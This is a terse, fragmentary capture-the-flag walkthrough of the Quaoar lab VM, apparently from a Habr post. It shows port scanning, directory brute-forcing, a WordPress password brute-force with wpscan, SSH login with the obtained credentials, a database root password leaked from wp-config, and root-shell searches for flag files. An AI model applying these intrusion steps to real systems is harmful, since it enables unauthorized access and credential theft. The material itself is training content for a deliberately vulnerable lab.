1. Getting access to the shell;
2. Privilege escalation to root;
3. Post-exploitation.
$ sudo nmap -p1-65535 192.168.1.75 -sV
Starting Nmap 7.01 ( nmap.org ) at 2017-04-16 16:26 MSK
Nmap scan report for 192.168.1.75
Host is up (0.00043s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE VERSION
22 / tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
53 / tcp open domain ISC BIND 9.8.1-P1
80 / tcp open http Apache httpd 2.2.22 ((Ubuntu))
110 / tcp open pop3?
139 / tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
143 / tcp open imap Dovecot imapd
445 / tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
993 / tcp open ssl / imap Dovecot imapd
995 / tcp open ssl / pop3s?
MAC Address: 08: 00: 27: 0A: CA: 7B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe: / o: linux: linux_kernel
$ sudo dirsearch -u http://192.168.1.75/ -w /opt/dirb/wordlists/big.txt -e php,txt,bak,html -x 403 -r -f
$ ./robotscan.py -u http://192.168.1.75/upload/ -w /opt/dirb/wordlists/big.txt -e php,txt,bak,html -x 403
$ sudo ./wpscan.rb --url http://192.168.1.75/wordpress/ --wordlist /usr/share/john/password.lst
$ ssh wpadmin@192.168.1.75
define('DB_NAME', 'wordpress'); /** MySQL database username */ define('DB_USER', 'root'); /** MySQL database password */ define('DB_PASSWORD', 'rootpassword!');
root@Quaoar:~# cat flag.txt 8e3f9ec016e3598c5eec11fd3d73f6fb
root@Quaoar:~# find / -name flag.txt /root/flag.txt /home/wpadmin/flag.txt root@Quaoar:~# find / -name flag
root@Quaoar:~# grep -r flag / | less
root@Quaoar:~# egrep -r " [a-z0-9]{32,32}" /etc/ 2>/dev/null ... /etc/cron.d/php5:# Its always a good idea to check for crontab to learn more about the operating system good job you get 50! - d46795f84148fd338603d0d6a9dbf8de
Source: https://habr.com/ru/post/326622/
All Articles